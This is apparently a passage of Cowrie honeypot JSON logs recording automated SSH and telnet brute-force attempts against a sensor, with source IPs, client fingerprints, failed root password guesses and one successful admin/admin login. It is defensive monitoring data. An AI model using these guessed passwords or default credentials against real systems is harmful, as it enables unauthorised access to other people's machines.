16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:15.617015Z","src_ip":"103.183.114.55","session":"63e75e9011e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"canada","message":"login attempt [root/canada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:16.293722Z","src_ip":"103.183.114.55","session":"63e75e9011e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:17.524052Z","src_ip":"103.183.114.55","session":"63e75e9011e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.99262547492981,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:24.284645Z","src_ip":"186.195.16.41","session":"145511524bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11002850532532,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:28.888077Z","src_ip":"192.119.13.58","session":"2bff63971113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"2adc7eb897a3","protocol":"telnet","message":"New connection: 192.119.13.58:45516 (10.17.0.5:23) [session: 2adc7eb897a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:29.104311Z"}
{"eventid":"cowrie.session.closed","duration":0.005342960357666016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:29.109452Z","src_ip":"192.119.13.58","session":"2adc7eb897a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46860,"dst_ip":"10.17.0.5","dst_port":23,"session":"07185cb12365","protocol":"telnet","message":"New connection: 192.119.13.58:46860 (10.17.0.5:23) [session: 07185cb12365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:29.408073Z"}
{"eventid":"cowrie.session.closed","duration":30.279503345489502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:30.185687Z","src_ip":"192.119.13.58","session":"b70b4919a904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00101161003113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:30.422575Z","src_ip":"177.185.59.2","session":"948f78e41b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.184.127","src_port":57328,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ce199f747e","protocol":"telnet","message":"New connection: 161.97.184.127:57328 (159.203.135.109:23) [session: 55ce199f747e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:31.643773Z"}
{"eventid":"cowrie.session.closed","duration":120.00319814682007,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:33.620836Z","src_ip":"177.185.59.2","session":"b87ff4c50ebd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.04035782814026,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:33.927084Z","src_ip":"192.119.13.58","session":"87c155440c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.9292778968811,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:39.796317Z","src_ip":"192.119.13.58","session":"7ab553d41dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"98936c30ce69","protocol":"telnet","message":"New connection: 192.119.13.58:39034 (10.17.0.5:23) [session: 98936c30ce69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:40.963973Z"}
{"eventid":"cowrie.session.closed","duration":34.20130276679993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:46.896609Z","src_ip":"192.119.13.58","session":"8ac584396df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32792,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf31cbd52d3c","protocol":"telnet","message":"New connection: 192.119.13.58:32792 (10.17.0.5:23) [session: bf31cbd52d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:52.723478Z"}
{"eventid":"cowrie.session.closed","duration":0.005522489547729492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:52.728861Z","src_ip":"192.119.13.58","session":"bf31cbd52d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":53244,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0cf30749e0","protocol":"ssh","message":"New connection: 147.45.199.80:53244 (10.17.0.5:22) [session: be0cf30749e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:55.856488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:55.861284Z","src_ip":"147.45.199.80","session":"be0cf30749e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:55.962481Z","src_ip":"147.45.199.80","session":"be0cf30749e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfirf","message":"login attempt [root/yfnfirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:56.266793Z","src_ip":"147.45.199.80","session":"be0cf30749e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:39:57.370433Z","src_ip":"147.45.199.80","session":"be0cf30749e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.05724287033081,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:02.383318Z","src_ip":"192.119.13.58","session":"50c6f83b96b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.027819871902466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:04.435672Z","src_ip":"192.119.13.58","session":"07185cb12365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51858,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed096008eff","protocol":"ssh","message":"New connection: 185.236.22.41:51858 (10.17.0.5:22) [session: 4ed096008eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:11.204443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:11.212045Z","src_ip":"185.236.22.41","session":"4ed096008eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:11.338375Z","src_ip":"185.236.22.41","session":"4ed096008eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777123","message":"login attempt [root/7777777123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:11.704335Z","src_ip":"185.236.22.41","session":"4ed096008eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:12.936308Z","src_ip":"185.236.22.41","session":"4ed096008eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59354,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae4a406f712","protocol":"ssh","message":"New connection: 51.250.105.222:59354 (10.17.0.5:22) [session: bae4a406f712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:17.844219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:17.849635Z","src_ip":"51.250.105.222","session":"bae4a406f712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:17.975309Z","src_ip":"51.250.105.222","session":"bae4a406f712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spirit","message":"login attempt [root/spirit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:18.353432Z","src_ip":"51.250.105.222","session":"bae4a406f712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:19.482700Z","src_ip":"51.250.105.222","session":"bae4a406f712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.58478403091431,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:26.548581Z","src_ip":"192.119.13.58","session":"98936c30ce69","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:32.673841Z","src_ip":"161.97.184.127","session":"55ce199f747e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:32.739971Z","src_ip":"161.97.184.127","session":"55ce199f747e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49560,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5741f321b85","protocol":"ssh","message":"New connection: 77.94.47.83:49560 (159.203.135.109:22) [session: d5741f321b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:35.056324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:35.061440Z","src_ip":"77.94.47.83","session":"d5741f321b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:35.191619Z","src_ip":"77.94.47.83","session":"d5741f321b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1236987","message":"login attempt [root/1236987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:35.582666Z","src_ip":"77.94.47.83","session":"d5741f321b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:36.715675Z","src_ip":"77.94.47.83","session":"d5741f321b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52106,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6657615e0a","protocol":"telnet","message":"New connection: 192.119.13.58:52106 (10.17.0.5:23) [session: 5d6657615e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:37.317632Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":59984,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d25c1bf4677","protocol":"ssh","message":"New connection: 103.98.149.87:59984 (10.17.0.5:22) [session: 9d25c1bf4677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:53.855479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:53.908955Z","src_ip":"103.98.149.87","session":"9d25c1bf4677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:54.175468Z","src_ip":"103.98.149.87","session":"9d25c1bf4677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkm1","message":"login attempt [root/gfhjkm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:56.633168Z","src_ip":"103.98.149.87","session":"9d25c1bf4677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:40:58.098758Z","src_ip":"103.98.149.87","session":"9d25c1bf4677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8aa681af91e","protocol":"telnet","message":"New connection: 186.195.16.41:52412 (159.203.135.109:23) [session: a8aa681af91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:13.368541Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e8372daafd","protocol":"telnet","message":"New connection: 192.119.13.58:40238 (10.17.0.5:23) [session: a6e8372daafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:16.444181Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56462,"dst_ip":"159.203.135.109","dst_port":22,"session":"a59f2609ce47","protocol":"ssh","message":"New connection: 62.133.63.178:56462 (159.203.135.109:22) [session: a59f2609ce47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:17.900894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:17.906001Z","src_ip":"62.133.63.178","session":"a59f2609ce47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:18.033453Z","src_ip":"62.133.63.178","session":"a59f2609ce47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romashka","message":"login attempt [root/romashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:18.411236Z","src_ip":"62.133.63.178","session":"a59f2609ce47","protocol":"ssh"}
